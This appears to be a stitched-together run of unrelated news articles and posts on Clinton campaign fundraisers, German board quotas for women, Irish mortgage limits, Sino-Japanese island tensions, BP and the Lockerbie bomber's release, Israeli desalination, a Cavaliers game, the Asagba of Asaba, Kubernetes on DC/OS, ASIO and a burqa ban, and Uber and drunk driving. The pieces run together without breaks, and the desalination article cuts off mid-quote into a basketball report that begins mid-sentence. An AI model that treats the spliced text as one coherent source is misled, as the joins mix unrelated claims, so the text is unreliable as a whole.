Huma Abedin, Clinton's campaign vice chair, and Jake Sullivan, her senior policy aide, will be joined at an fundraiser on April 27 in Washington, D.C., by stars of the TV show "Scandal," including Tony Goldwyn, Guillermo Diaz and Katie Lowes, according to an invite.
John Podesta, Clinton's campaign chairman, will headline an "evening of conversation and cooking" fundraiser in Brooklyn, New York, on April 14. The event will feature Chef Manuel Berganza, a Michelin starred chef of Andanada restaurant.
Sullivan will also headline a fundraiser in London, England, on April 17. Melanne Verveer, a longtime Clinton aide, will headline a fundraiser in Polanco, Mexico City, on April 28. And Gary Gensler, Clinton's campaign CFO, will travel to Asia this week to headline one fundraiser in Beijing and another in Hong Kong, according to invitations. Events held in foreign countries are targeted at American citizens living abroad -- donations from non-U.S. citizens are prohibited.Frauenquote - or women’s quotas - to be signed into law next month with firms required to implement the rule by 2016
Large German companies face a major shake-up after the government ordered that at least a third of executive positions be filled by women.
The agreement, which was reached by the ruling coalition after months of heated debate, will involve the Frauenquote – or women’s quotas – being signed into law in December. Companies will have to start implementing the law by 2016.
The decision will have a major impact on 108 of Germany’s largest firms, many of which have resisted the legislation. Several firms, including some major car manufacturers, have threatened to move their production abroad if the law was passed.
An estimated 3,500 smaller businesses will be obliged to introduce gender-equality goals and to publish these over the coming years.
Businesses will not be allowed to claim that they cannot find enough suitable women candidates. Any that do will have to leave positions vacant under what has been termed the “empty chair sanction”.
The women’s affairs minister, Manuela Schwesig of the Social Democrats, said she hoped the law would also promote change further down the pecking order of companies, whether those listed on the stock exchange or the smaller mittelstand firms.
“This law is an important step for equality because it will initiate cultural change in the workplace,” she told German radio.
Chancellor Angela Merkel, who initially opposed the reform, told the Bundestag on Wednesday: “It has been decided on and it is coming. We cannot afford to do without the skills of women.”
But Ulrich Grillo of the German Industries Federation, at the same time as insisting that companies wanted more women in leadership roles, dismissed the law as counterproductive, insisting that voluntary solutions were preferable.
Justice minister Heiko Maas said the agreement was historic and would make Germany a more modern country.
Some business leaders had said the law was not necessary because equality between the sexes is anchored in the German constitution. But Schwesig said equality was “far from being true in real life”. The effects of the law, she said, had the potential to go beyond the boardroom and would ultimately contribute to a change in society.
In contrast to Britain and the US, Germany has a two-tier board system comprising both non-executive supervisory boards, consisting of outside advisers, and full-time executive boards, which manage the company on a daily basis.
Supervisory boards are currently made up of about 22% of women, yet they hold only 12% of executive board posts.
Writing in the Süddeutsche Zeitung, commentator Heribert Prantl said the introduction of a frauenquote was simply bringing an end to the fact that “for ever and a day in top positions in business there have been male quotas of almost 100%. So the frauenquote are not the introduction of quotas, rather they are breaking through existing quotas … they are a tool to establish sensible standards. Just as children learn to swim with armbands, so the women’s quotas are the armbands of society.”New mortgage rules announced by the Central Bank will allow first-time buyers some relief from the new 80 per cent loan to value limit.
For first time buyers, banks will be able to lend 90 per cent up to a value of €220,000. Above that the 80 per cent limit will apply.
The new rules, which are effective immediately, have been announced this evening.
The move will significantly reduce the amount of deposit which first-time buyers have to save when buying a home.
However, the 80 per cent limit will be introduced for most borrowers, in a significant tightening of the current regime, designed to protect banks and borrowers from getting into difficulties with future lending.
The Central Bank Commission decided on the new rules at a meeting on Tuesday. Non first-time home buyers will generally be restricted to borrowing 80 per cent of the property’s value.
A 70 per cent limit will apply for banks lending to investors purchasing buy-to-let properties.
Plans to phase in the new rules have been abandoned, with the higher limit on borrowings up to €220,000 designed to address concerns about the impact on first time buyers.
Under the existing rules – which normally allow a bank to lend 90 per cent of the value of the house – a first-time buyer would require a €35,000 deposit on a home valued at €350,000. Under the new rules this will rise to €48,000.
Had the 80 per cent limit applied to the entire loan, the deposit required would have been €70,000.
The changes follow a consultation period on the proposed new lending rules. Original proposals to impose an 80 per cent cap on all new home-buyers had met a wave of opposition.
The Central Bank said a certain number of loans – up to 15 per cent of loans by value for principal dwelling – could breach the new limits, offering some flexibility to lenders and borrowers.
Housing loans for borrowers who are in negative equity and who are obtaining a mortgage for a new property are not subject to the LTV limits and will be assessed separately.
The rules will also mean that people buying homes will face a limit that loans should not exceed 3.5 times income.
Again some exceptions will be allowed on this. Switcher mortgage loans and housing loans for the restructuring of mortgages in arrears are not covered by the regulations.
Central Bank governor Patrick Honohan said the measures would reduce financial vulnerabilities for lenders and borrowers.Story highlights Japanese public increasingly concerned by anti-Japanese backlash in China
Centers on disputed islands known by Japan as Senkakus and by China as Diaoyu islands
So far the reaction in Japan has been limited to few small-scale protests against China
"Are Chinese people bad people?"
Forty-year-old Mika Takagi said that this question from her five-year-old child prompted her to think about what exactly recent television reports were telling everybody.
In the past week, the Japanese public has been waking up to images of Chinese protesters expressing their anger towards Japan and its claim over a few uninhabited islands located between the two countries.
Japan calls them the Senkakus, while China calls them the Diaoyu islands.
The Japanese media showed images of huge crowds throwing bottles and eggs at the Japanese embassy in Beijing as they chanted nationalistic slogans. Television stations also carried lengthy reports from inside a Japanese-owned mall -- elsewhere in China -- which was slowly being surrounded by increasingly violent demonstrators.
Though life has continued as normal across Japan, many Japanese people are increasingly troubled by the dispute.
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"I can understand that the Chinese are angry at the past, when the Japanese invaded them and did twisted things to them, but that's the past," said 65-year-old Kiyoshi Yamashita.
"Japan was also victim of the atomic bomb dropped by the United States, but we don't constantly reproach them for doing that. At that time, it was war."
Anti-Japanese protests in China are nothing new. In 2010, a collision near the disputed islands in the East China Sea between a Chinese fishing boat and a Japanese marine ship soured relations between the two countries after the captain of the Chinese vessel was briefly detained
But they have rarely gone on for so long and become so violent.
Shota Saito, a 22-year-old college student, said that recent events have pushed him to reconsider plans to travel to China, and that the protests were "frightening."
But Saito knows that not all Chinese people hate the Japanese because he lives in Yokohama, a city known for its large Chinatown and has Chinese friends of his own.
"I think only a handful of radicals are reacting excessively," Saito said. "I think there are many people who like Japan, so it does not change my views about Chinese people."
Many people, such as 26-year-old Aya Fujimori, suspect that the lack of effective communication between the two countries is causing the rift.
"My sense is that we have come to this point because we did not talk enough between each other, and we each make our own conclusions," she said.
Though he believes the islands are Japanese because of "historical written proof," Yamashita says the current dispute is "absurd," and that the two countries need to have a serious heart-to-heart to settle things.
The media has also come under fire for its reporting on the issue.
"It seems to me that the media only shows us the flashy stuff," Fujimori said.
She also suspects that most employees of the damaged businesses in China are locals, and that they are not all anti-Japanese. "I think there are people who oppose Japan and those who don't. I'd like to hear what the latter people have to say," she said.
Ever since Takagi was surprised by her child's question, she says she has become more attentive to what is happening.
"I think many facts about the past are not being reported properly in China," she said, while suspecting the same thing in Japan.
"There may be some things that we do not know about the past between China and Japan. Maybe it's because records have not been set straight that we cannot understand each other."
As for the answer to her young son's question: "I told him that Chinese people are not bad people, and that it would be great if we could all get along better."
Even though anti-Chinese protests in Japan have not been observed on the same scale as in China, there have been some tensions and a number of minor incidents reported.
But this may change if the anti-Japanese backlash continues.In the end, Mr. Megrahi was not released under the prisoner transfer agreement. Instead, to the consternation of the Obama administration, and of many of the victims’ families, the Scottish government released him under provisions in Scottish law that allow for a prisoner’s sentence to be commuted on humanitarian grounds, because of Mr. Megrahi’s cancer. That freed him from serving any further prison time in Libya, as he would have had to do under the transfer pact.
American anger over the case found a new outlet this week, with the demands for an investigation of the issue in the United States. On Wednesday, Senators Charles E. Schumer and Kirsten E. Gillibrand of New York, together with Robert Menendez and Frank R. Lautenberg of New Jersey, announced that they had written a letter to Secretary of State Hillary Rodham Clinton asking for a State Department investigation into BP’s role in the prisoner transfer agreement.
Mr. Schumer told reporters that BP should freeze its operations in Libya because it “should not be allowed to profit on this deal at the expense of the victims of terrorism.”
The two California senators, Ms. Boxer and Ms. Feinstein, followed on Thursday with a letter to Senator John Kerry, chairman of the Foreign Relations Committee, declaring that “commercial interests — oil or otherwise — should never be prioritized over justice for victims of terrorist acts and severe punishment for convicted terrorists.”
The Senate Foreign Relations Committee announced Thursday that it would hold a hearing July 29 on Mr. Megrahi’s release and that it would ask BP officials to testify. Mr. Menendez, who will preside over the hearing, said, “For our national security and for fundamental justice, we need answers about the circumstances of this convicted terrorist’s release.”
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BP’s business dealings in Libya include an exploration deal in the Gulf of Sidra, which the company estimates could lead to an eventual BP investment of up to $20 billion. The deals represent BP’s return to Libya after decades of exclusion that followed nationalization of the company’s interests there in the 1970s.
BP’s response to the senators’ challenge came in a statement released Thursday, in which BP stuck to its claim that its lobbying was focused on the prisoner transfer pact, not on Mr. Megrahi himself, and that the company had nothing to do with the decision by Scotland to release him.
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“It’s not for BP to comment on the decision of the Scottish government,” it said. “BP was not involved in any discussion with the U.K. government or the Scottish government about the release of Mr. al-Megrahi.”
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But the company’s critics have said that such a distinction was largely illusory, since Libya’s pressure for the prisoner transfer pact was primarily motivated, as Libyan officials said at the time, by their desire to bring Mr. Megrahi home.
Long before the Gulf of Mexico disaster, the British government’s role in the Megrahi release — and the involvement of British companies with interests in Libya, including BP — had caused deep strains between the Obama administration and the former Labour Party government, which was ousted in May.
The new government responded to the spotlight turned on BP in the affair on Thursday with what amounted to an apology for the former government’s actions. A spokesman for Prime Minister David Cameron said that Mr. Cameron regarded Mr. Megrahi’s release as a mistake, and the British ambassador in Washington, Sir Nigel Sheinwald, said in a letter to Mr. Schumer that the Cameron government “deeply regrets the continuing anguish” the release had caused among the families of Lockerbie victims.
Although senior figures in the Labour government insisted that the Megrahi decision was taken independently by the Scottish government, which has legal powers of its own, an official paper trail showed that officials in London had told Scottish officials, in the context of the prisoner transfer agreement, that letting Mr. Megrahi go would benefit British commercial interests.
That led to widespread suspicions that the Labour government, eager to promote British commercial interests in Libya but reluctant to be seen taking a step — the release of Mr. Megrahi — that would anger Washington, chose to encourage instead an end-around solution that had the Scottish government making the decision.
British officials have noted privately that the last three American administrations have been keen for American oil companies to strike deals with Libya, and that BP has been joined in the contest for potentially lucrative deals by several American oil giants, including Exxon Mobil and Chevron.
Still, the chain of events surrounding Mr. Megrahi fostered deep disillusionment in Washington, where politicians and senior officials criticized what they regarded as Britain’s duplicity in the affair.
Their anger was based, in part, on assurances the United States said it had been given at the time of the Lockerbie trial, held before a Scottish court sitting in the Netherlands, that anybody convicted in the case would serve the full term in Scotland. Mr. Megrahi’s conviction was the only one in the case, after a Libyan accused of being an accomplice, like Mr. Megrahi an agent of Libya’s secret intelligence service, was found not guilty and freed.In the hot and arid Middle East, clean water is liquid gold. Faced with limited rainfall and a grueling climate, Israel has increasingly relied on seawater since it built its first desalination plant in Eilat in the 1960s. Today, about 60 percent of Israel’s domestic water demand is met through desalination – the process by which salt and other impurities are removed from seawater to produce potable water.
“We used to have enough water from the Sea of Galilee and underground aquifers. But in the 1990s, we felt the water scarcity more and more,” Tomer Efrat, process engineering manager at Israel Desalination Enterprises (IDE) Technologies, tells NoCamels. “Every television and radio newscast concluded with an update on the water level in the Sea of Galilee.”
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Fortunately, desalination – along with drip irrigation, water recycling and sustainable water conservation policies – has increased Israel’s water supply and amazingly, transformed its water shortage into a water surplus. In fact, Israel is the only country where the desert is shrinking thanks to the abundance of water for agriculture. “Today, no one in Israel experiences water scarcity,” Efrat says.
3 million cubic meters of potable water daily
Israel has proven itself as a world leader in desalination after decades of research and entrepreneurship. For example, reverse osmosis – the technique by which seawater is forced through ultra-fine membranes that filter out larger salt molecules – was pioneered by Israeli scientist Sidney Loeb in the 1960s at Ben-Gurion University (BGU), which is located in the Negev, Israel’s largest desert.
Much credit belongs to IDE Technologies, which has built three desalination plants in Sorek, Ashkelon and Hadera, along Israel’s coastline. The internationally renowned company was ranked the world’s 19th smartest company in 2016 by MIT Technology Review, and is sought by countries across the globe. According to IDE Technologies, the company’s 400 plants in 40 countries (which it has built over four decades) provide 3 million cubic meters of potable water around the world daily.
The crown jewel of Israeli water engineering
When visiting IDE’s Sorek facility, it is easy to see why this desalination plant – the largest in the world – is lauded as the crown jewel of Israeli water engineering. This intricate system of mammoth pumps, pipes and filters draws seawater from the Mediterranean Sea to produce enough clean water for the 1.5 million people in the areas around it (roughly 20 percent of Israel’s household consumption).
Standing at the heart of the plant are two large halls containing hundreds of vessels hanging vertically like laboratory test-tubes. This is where the magic of reverse osmosis happens. The busy hum of mega pumps dominates the halls as water is pushed through the plant’s 16,000 desalination membranes. The filtered water undergoes further treatment before visitors can drink a glass of freshly desalted water.
The environmental cost of desalination
With water scarcity affecting more than 40 percent of the global population, according to the UN, there is clearly an urgent need for large-scale solutions like desalination. But critics decry the high cost and high energy consumption of desalination, which can have a negative impact on the environment and on our oceans.
Efrat claims that IDE has taken many steps to reduce the cost and environmental footprint of its plants. For example, the company reduces energy consumption not only by reusing waste heat, but also by keeping its reverse osmosis membranes clean, so that less pressure is needed to push the water through the membranes. “IDE is also the only desalination company that offers chemical-free desalination, which means there is minimal impact on the environment,” he says.
SEE ALSO: In Face Of Global Shortage, World Leaders Praise Israel’s Water Technologies At WATEC Conference
Despite the criticism, desalination is being used globally as a major solution to water shortage. As a world-leader in water technologies, Israel’s experts are helping communities around the globe to harvest water from the ocean.
The Americas
The $1 billion Carlsbad desalination plant was built in 2015 by IDE in San Diego County, California, after its governor had sought help from Israel to overcome its drought-inflicted water shortage. Jerry Brown declared a drought state of emergency in 2014, which was lifted only in April 2017 for most of the state. But the National Drought Mitigation Center issued a warning the same month that approximately 10.3 million Californians are still affected by the drought. And, it’s not a matter of if, but rather when, droughts will hit the state again.
SEE ALSO: Indian Minister Praises Israeli Technologies: “ |
conquest. Cleveland's 113-93 rout of a victory was its 14th in its past 15 games.
The domination on the court and the revelry that followed provided a stark contrast to where James and the Cavs were the last time they played Miami about six weeks ago on Christmas Day.
That game, a 101-91 loss by the Cavs, seemed to encapsulate everything that was going wrong with James' return to Cleveland at the time.
Iman Shumpert's strong effort off the bench earned him some postgame interview "helpers." David Liam Kyle/NBAE/Getty Images
There James was on the court, yukking it up with his old Miami comrades while his connections to his new Cavs seemed more perfunctory than positive. There was the Cavs' roster with a massive hole in the middle after Anderson Varejao went down with a season-ending Achilles tear just before the Miami game, and a bench led by the mercurial Dion Waiters who, as up-and-down as he could be, was still the best substitute available to them. There was the doubt creeping in that maybe this thing wouldn't be coming together quite so easily -- if ever -- with James admitting the Cavs were playing "nowhere near championship ball."
But Wednesday was different. Not just different because the James/Miami reunion storyline had already become stale. Not just different because the Heat had Dwyane Wade sidelined with a hamstring injury while Hassan Whiteside was now filling it up to the tune of 17 points and 14 rebounds. Not just different because the Cavs now have an emerging big man of their own patrolling the paint in Timofey Mozgov, who had 20 points and seven rebounds of his own, and an improved bench with Shumpert joining Thompson, Shawn Marion and Matthew Dellavedova to form a core four off the pine.
It was different because there's belief in Cleveland right now. And not just belief, but joy, too.
James, Shumpert and Thompson's on-court antics only continued in the postgame locker room when James blasted Lupe Fiasco's "Deliver" and he and his teammates -- the ones whom he seems to have tangible bonds with these days -- broke out into an impromptu dance party, jamming to the tune and shouting the song's "the pizza man don't come here no more" hook when it played.
"I think it's a combination of everything, but more importantly, it's the team," James said when asked to explain what has changed for the Cavs during their resurgence. "We all care about the team. We all care about each other at this point. We're still growing, obviously, but it's fun basketball when everyone feels in rhythm. And when the ball is moving, it's popping from one side to the other, everyone feels in rhythm and that's very important for our success."
The Cavs will close out the unofficial first half of their season Thursday in Chicago, the last game before the All-Star break. It will be a chance to shut out all the noise of the first half -- the James/Kyrie Irving disagreement, the Waiters national anthem fiasco, the Varejao injury, the James/Wade powwow in Miami, the David Blatt hot seat, the James two-week hiatus, the Kevin Love "max player" and "fit out" controversies -- and put it behind them.
James didn't even need the All-Star break to put the past behind him, showing he could make a major step on Wednesday and separate the emotions from the game when facing the Heat.
"Obviously, what we're trying to do here -- we have the opportunity to get better and better and better," James said. "We didn't want to waste an opportunity and it starts with me. I didn't want to do that."
After most of the Cavs had cleared out of the locker room and made their way to the bus to catch the flight to Chicago, Mario Chalmers came in to shoot the breeze with James, who was still getting dressed at his locker.
The music was still bumping and a big smile flashed across James' face as Chalmers came into view.
They chatted briefly before James had to hurry up to catch his teammates for the trip to Chicago.
There is still a way to embrace the past while chasing the future.Obi Prof. Joseph Chike Edozien, CFR, JP, the Asagba or traditional ruler of Asaba, Delta State, Nigeria was born on July 28, 1925 in Asaba.
His father was Nathaniel Okafor Edozien a direct descendant of Nnebisi the founder of Asaba, and one of the most senior indigenous officials of the Nigerian Coal Corporation in Enugu. His mother, Nwakuso Edozien née Odogwu, was the daughter of a prominent Asaba chief, and a notable trader.
His father sent him at an early age to live with an uncle who was a school master in Warri, Delta State then Bendel State, Nigeria. He attended the Catholic School in Warri from 1933 to 1937.
He attended Christ The King College (CKC) Onitsha, Anambra State from, 1938 to 1941; Higher College, Yaba, Lagos, (1942); Achimota College, Accra, Ghana, (1942 to 1943). His university education began with an admission to the University College Dublin, Ireland in 1944. He completed his BSc with honours in Physiology from the National University of Ireland in 1948, MSc in Physiology in 1950, Bachelor of Medicine and Bachelor of Chemotherapy (MBBCh) in 1954. He won several academic awards in the process.
His academic career began with an appointment as a Lecturer in Clinical Biochemistry in Middlesex Hospital Medical School, University of London in 1951. Following his sterling academic attainments, young Edozien became a lecturer in Clinical Biochemistry at the prestigious University of London Medical School. In 1952 he was appointed as a Senior Lecturer in Chemical Pathology at the University College, Ibadan. He returned to Ibadan after further studies in Ireland.
In 1955 he married Modupe Smith a radiographer at the University of Ibadan teaching hospital. Her father was one of the first indigenous managers of the famous United Africa Company, UAC, and her maternal grandfather was Herbert Macaulay, Nigeria’s first surveyor and one of the principal actors in Nigeria’s independence movement.
He was Senior Lecturer in Chemical Pathology between 1957 and 1961. In 1961, Edozien became a professor of Chemical Pathology at the university, a position he held till 1966. By the fact of his elevation in 1961, Edozien became the fourth Nigerian to earn that academic title. Today, he is the oldest surviving Nigerian Professor in any discipline.
The late colonial and early independence period were exciting times in Nigeria. Educated Nigerians rapidly occupied positions of responsibility in politics, commerce and academia. Everyone’s hopes were high that in a short time the country would bridge the gap with the more developed countries of Europe and North America.
The euphoric mood permeated the University of Ibadan, and Edozien’s groundbreaking research in nutrition helped win it a reputation as a rising academic centre. He was appointed a professor in 1961 and became the Dean of the Faculty of Medicine in 1962.
Edozien’s career at Ibadan ended in 1967, a casualty of the political crisis that ended the euphoria of the late 50′s and early 60′s and resulted in the coups of 1966 and eventually led to the Nigerian Civil War. In 1967 he was instrumental in the efforts to establish the University of Benin in the newly created Midwestern Region of Nigeria. He was also implicated in the plots that resulted in the Biafran invasion of the Midwestern Region at the beginning of the civil war and was forced to flee the country.
After a brief period in France, he was appointed as a professor of Nutrition at the Massachusetts Institute of Technology, Cambridge, MA.
In 1971 he became a professor and head of Department of Nutrition, of the School of Public Health of the University of North Carolina. In fact he was also Professor and Chairman, Department of Nutrition, School of Public Health, University of North Carolina, Chapel Hill, USA, for an unbroken 20 years, beginning from 1971. Between 1988 and 1991, he was Chairman, Governing Board, National Institute for Medical Research, Yaba, Lagos. Edozien became Professor Emeritus of the prestigious University of North Carolina in 1991, and has remained so ever since.
In 1990 Edozien was appointed the Chairman of the Nigerian Institute of Medical Research. Shortly thereafter he was selected to become the 13th Asagba of Asaba. He retired as a Professor Emeritus of the University of North Carolina and returned to Nigeria in 1991. He was installed on July 1, 1991.
Edozien’s tenure as the Asagba of Asaba has coincided with dramatic changes in the character of the town. When the government of President Ibrahim Babangida created Delta State out of the old Bendel State, Asaba was chosen as the capital. Its new status as the seat of the state government has brought much of the chaotic development associated with contemporary Nigerian urbanization. The population of the town has grown and the influx of non-Asaba indigenes has strained the traditional institutions of the town.
A central theme of Edozien’s tenure as the Asagba has been the challenge of balancing rapid development, modernization of traditional norms and institutions with preservation of the positive aspects and moderating influence of traditional values. Several on-going initiatives such as the Asaba permanent palace and civic centre and the documentation of the town’s traditional laws and customs have sought to balance these concerns.
Edozien remains an important figure in modern day Nigerian affairs. President Olusegun Obasanjo conferred the national honour of Commander of the Federal Republic on him in 2003. He is also the Chancellor of the Federal University of Agriculture, Abeokuta.
Obi (Prof) Chike Edozien is black Africa’s first indigenous dean of medicine and royal father of Asaba clan of Delta state.
However, Prof Edozien is not only all about academics. He is a stoic positive symbol of the traditional institution, and, as Asagba of Asaba, he was, for three years beginning from 1997, Chairman, Delta State Council of Traditional Rulers.
At 89 years of age, Obi Edozien is celebrating not just his birthday in the capital city of Asaba, which is replete with history- positive history at that- but also his 23rd year on the throne of his forebears.
Prof Edozien is a perfect blend of Asaba tradition and western-style modernism.
As a leading icon in the field of medicine and for his sterling leadership, Prof. Edozien has earned the national award of Commander of the Federal Republic (CFR). He is Pro-Chancellor and Chairman of Council, Federal University of Agriculture, Abeokuta.
Prof. Edozien is also a happy father of distinguished children by his wife, Modupe, who is a granddaughter of Herbert Macaulay, easily one of Nigeria’s fore-sighted first generation politicians.
2012 marked his 21st year on the throne as the Asagba of Asaba. Nna Agu, Nna Agu, Nna Agu. Asagba, Igadi kaa echi; Ise.
LINE OF SUCCESSION OF ASAGBA TO DATE
1. Obi Nenmor – Umuagu 1780
2. Obi Ofordu – Umuagu 1790
3. Obi Diai – Umuonaje 1820
4. Obi Monu – Umuaji 1850
5. Obi Nwani – Ugbomanta 1870
6. Obi Egbola – Umuaji 1890
7. Obi Onyemenam – Umuaji 1910
8. Obi Nwokolo – Umuezei 1925-1932
9. Obi Ijeh – Ugbomanta 1937-1948
10. Obi Emenashi Odiaka – Umuagu 1950-1958
11. Obi Okocha Nwokolo – Umuaji 1962—1963
12. Obi Umejei Onyetenu – Umuonaje 1964-1988
13. Obi {Prof.}Chike Edozien – Umuezei 1991 till Date
David Diai is a Journalist and the National President of Anioma Media Network, AMN.Editor’s note – This blog post reflects our Kubernetes efforts in 2017. To learn more about Kubernetes on DC/OS, see Kubernetes-as-a-Service Now Available in DC/OS 1.11.
Mesosphere was founded with a simple mission: to take the amazing tools used by the brightest and most innovative technology brands to build and scale world changing technology, and make them easy to adopt and use by mainstream enterprise IT teams and startups alike.
Concepts like microservices, containerization, “fast data” analysis and response, distributed computing, and edge data collection and response were groundbreaking concepts when the company began in 2013. Building on top of Apache Mesos, Mesosphere sought to bring together all of the tools needed to operate data-intensive modern applications such as container orchestration, distributed databases, message queues, data streaming and processing, machine learning, monitoring and management capabilities, security tools, deployment automation, and more. Since its launch in 2015, the Mesosphere DC/OS “operating system” has made it easy to deploy, connect, and elastically scale over 100 open source and commercial services with a single click, and underpins everything from web-scale applications, to IoT and autonomous cars, to banking and trading systems.
As the best platform for running both stateless and stateful services without compromise, Mesosphere DC/OS enables you to pick the right tool for your requirements. Whether choosing between Mongo or Redis, NGINX or HAProxy, Elastic or Cassandra, we have focused on providing freedom of choice.
We have been working closely with K8s maintainers at Google Cloud Platform to bring this popular container orchestration tool to our platform. Mesosphere was an early contributor to K8s when it was first released, and is excited to see the project reach maturity. Google has done an incredible job of stewarding this project to the benefit of tens of thousands of commercial users, and we’re excited to help support that mission.
This initial beta release is the first step towards making DC/OS the best place to run Kubernetes. Where are we going with this effort?
Making DC/OS the best way to run Kubernetes across any infrastructure
Our goal is to enable enterprise operations teams to deliver a public cloud-like “Containers-as-a-Service” experience to their teams using any infrastructure. Developers, Operators, and Data Engineers will all find that Kubernetes on DC/OS gives them the best experience to get their job done. Kubernetes on DC/OS is totally unique among all other on premise options;
Kubernetes on DC/OS is the 100% pure, official distribution
Operators will find running Kubernetes as easy on DC/OS as it is in the public cloud
Kubernetes can run alongside production-grade data services on a shared DC/OS cluster
100% Pure Kubernetes, Not Watered Down
We’ve brought the Kubernetes community mainline distribution to DC/OS. This mean there’s no restriction on features you can use, and you will always have the latest version of Kubernetes available through DC/OS.
Kubernetes on DC/OS is the official code base and not a vendor-managed or altered distribution. If it exists in Kubernetes, you got it. You won’t be using kubectl for certain commands and then some other vendor-specific command line interfaces for others. You get to directly benefit from the massive OSS ecosystem and the vibrant community of contributors. For those who really want to know how Kubernetes works, running the pure mainline Kubernetes distribution gives you complete visibility on what’s going on.
It also means any new Kubernetes versions can be quickly run on DC/OS.
Easy Kubernetes Operations on DC/OS
Kubernetes on top of Mesos through DC/OS allows our customers to deploy the popular container orchestrator on top of a powerful distributed systems platform. With this unique architectural approach, Mesosphere DC/OS can provide an experience like the public cloud providers’ container engines within our customers’ data centers or across hybrid cloud.
Within this, we are making Kubernetes on DC/OS highly available and secure by default, and plan to support non-disruptive, rolling upgrades.
In this “managed Kubernetes” model, Mesosphere DC/OS will allow you to run multiple Kubernetes clusters (of different versions) alongside each other. This allows for not just distinct production clusters (e.g., for different departments, users, apps, etc.), but also means you will be able to run dev and production side by side on the same infrastructure. Kubernetes clusters running on DC/OS deploy in just a few minutes from the Universe and can be scaled up elastically to add capacity.
Containers and Data Services, United
If a customer chooses to run Kubernetes without DC/OS, they typically run data services as a siloed application separate from their Kubernetes deployment. In this model, there is no out-of-the-box automation or coordination between the different parts of the application. That means that a customer needs to “DIY” any automation for monitoring, failover, scaling, adding storage volumes, and more. While this more manual process might work for some, we believe that it’s additional effort that can easily be avoided.
Running Kubernetes on DC/OS allows you to run different types of workloads (more explicitly, both the stateless and stateful components that make up most modern applications) on the same infrastructure. This is already why customers choose to run DC/OS, and we will bring this unique capability to the Kubernetes community.
On DC/OS, users can connect to data services from containers running on Kubernetes and vice versa. Running Kubernetes on top of Mesosphere DC/OS means customers get to use the container orchestrator they want, but immediately benefit from automated operations for the data services that back most containerized applications.
A True Hybrid Cloud for Kubernetes
Kubernetes on DC/OS will eventually support burst of stateless workloads to the cloud to add capacity to an on-premise deployment. This fulfills on the ideal state of hybrid cloud for containerized applications; where customers can have a single platform and control plane, turning an elastically scalable collection of public cloud and datacenter resources into one logical computer, and that allows them to control where workloads run and where data resides.
Try this initial release of Kubernetes on DC/OS for yourself today, and help us improve the product to suit you. Existing DC/OS users can install Kubernetes by following these instructions. If you are not already a DC/OS user, here’s how to get started. Once you are up and running, please share your feedback with us here. Please note that we will be releasing regular updates to this beta over the next few months as we work towards general availability.The analytical report, dated February 8, 2011, was circulated to all State and Federal police forces and key government departments including the Department of the Prime Minister and Cabinet. Federal cabinet ministers who are informed about ASIO's work told Fairfax Media the agency had not revised its assessment. The idea of a ban in Australia has found support from several members of the NSW and federal parliaments since it was first raised by the Liberals' Senator Cory Bernardi in 2010. The ASIO assessment finds no basis for any ban on security grounds: "While the burqa can be used to conceal the identity of an individual or material carried on the body, this is also true of other items of headwear and clothing. "The burqa does not represent an additional, special security threat in this regard."
The Prime Minister four weeks ago said he found it "a fairly confronting form of attire". He said "frankly I wish it weren't worn," but that it was a free country. Parliament's presiding officers then announced an interim decision that visitors in burqas be segregated in a glassed-in gallery. After widespread criticism, Mr Abbott then publicly opposed the idea and the parliament's presiding officers scrapped the idea. Mr Abbott has refrained from further comment since. A ban on wearing the burqa anywhere in public is currently being advanced by a senator of the Palmer United Party, Jacquie Lambie, who is proposing a law to ban any full face covering in public "without reasonable excuse".
The ASIO report says that proposals for a ban had, to date, produced "only a few, non-violent protests". It warns, however, that "this could change if there was any real prospect of a ban on, or regulation of, the wearing of Islamic attire being implemented here". Other unintended consequences could include burqa-wearing women being restricted to the home and socially isolated, according to ASIO. A ban might also provoke women who don't normally wear a burqa to take up the practice "as a sign of defiance and Islamic identity". One potential effect that ASIO does not mention was, however, stated privately by a minister in the Abbott government. He said that ASIO was worried that, by alienating the Muslim community, any move towards banning Islamic attire could cut off the agency's best sources in the community.
Senator Lambie's draft bill stipulates that religious belief would not be a reasonable excuse. The proposal does not have the support of either major party. Cory Bernardi appears to have eased in his campaign for a burqa ban. Politics was about bringing the public with you, he said this week, but that "my assessment is we're not at that point yet". Loading Senator Bernardi should not expect the support of the agency charged with counter-terrorism intelligence: Follow us on TwitterUber's economy driving service appears to have reduced drinking and driving deaths in California cities where the service is offered, says a new study that comes as many Canadian municipalities are trying to keep the service from expanding in their cities.
The research, conducted by Philadelphia's Temple University business professors Brad Greenwood and Sunil Wattal, will be presented at the Academy of Management conference next week in Vancouver. The study analyzed data from 2009 to 2014 and concluded the UberX service resulted in a decrease in drinking and driving deaths of between 3.6 and 5.6 per cent in the Californian cities where the service is offered.
The researchers speculate the cheaper price of Uber and its easy access, compared to regular cabs, make people more likely to call the service when they have been out drinking. On weekends, there is no difference in deaths. Prof. Greenwood speculates it's because prices for the service are higher then.
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The study comes as the City of Vancouver is evaluating whether its "vehicle for hire" bylaw could eventually cover Uber. It was prompted by council to do so last fall after a petition to allow Uber in the city was signed by 27,000 people.
The ride-sharing service has faced pushback from government and cab companies in the six Canadian cities where it operates; Vancouver and Calgary are the only ones to successfully keep the service from starting up in their municipalities.
Carolyn Bauer, who heads the Vancouver Taxi Association that campaigns against Uber on a website called TaxiTruths.ca., said drinking and driving rates dropped by 54 per cent in B.C. from 2010 to 2014 following tougher laws and without Uber.
"[Taxi drivers across Canada] pay their dues here and insurance is not cheap, so is it fair for someone to come and not be on a level playing field?" she said.
Still, some said that the study points to potential benefits of the service.
"Sometimes taking a cab can be expensive and it can take a while, depending on the time of night and if it's busy and you don't know where they are … so basically, if you make it easier and cheaper for people to hire a ride, more people will use it when they need it, right? And that leads to less drinking and driving," said David Hardisty, associate professor of marketing and consumer behaviour at the University of British Columbia's Sauder School of Business.
Prof. Greenwood said the 3.6 per cent finding is a result of comparing quarterly changes in the number of alcohol-related vehicle deaths in cities that have Uber and the rest of the state. The 5.6 per cent estimated drop came from comparing rate statistics in cities that have Uber and similar cities that don't. The study notes that more than 13,000 deaths occur in the U.S. each year due to drunk-driving accidents at a cost of $37-billion (U.S.). If the results of their study hold nation-wide, it would save 500 lives annually, the paper argues.
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Until the City of Vancouver releases the results of its bylaw evaluation this fall, "it is unlikely that the City would consider issuing any new licences [under the bylaw that covers all service vehicles, from horse-drawn carriage to taxis and bike couriers]," said an e-mailed statement from spokesman Jag Sandhu.
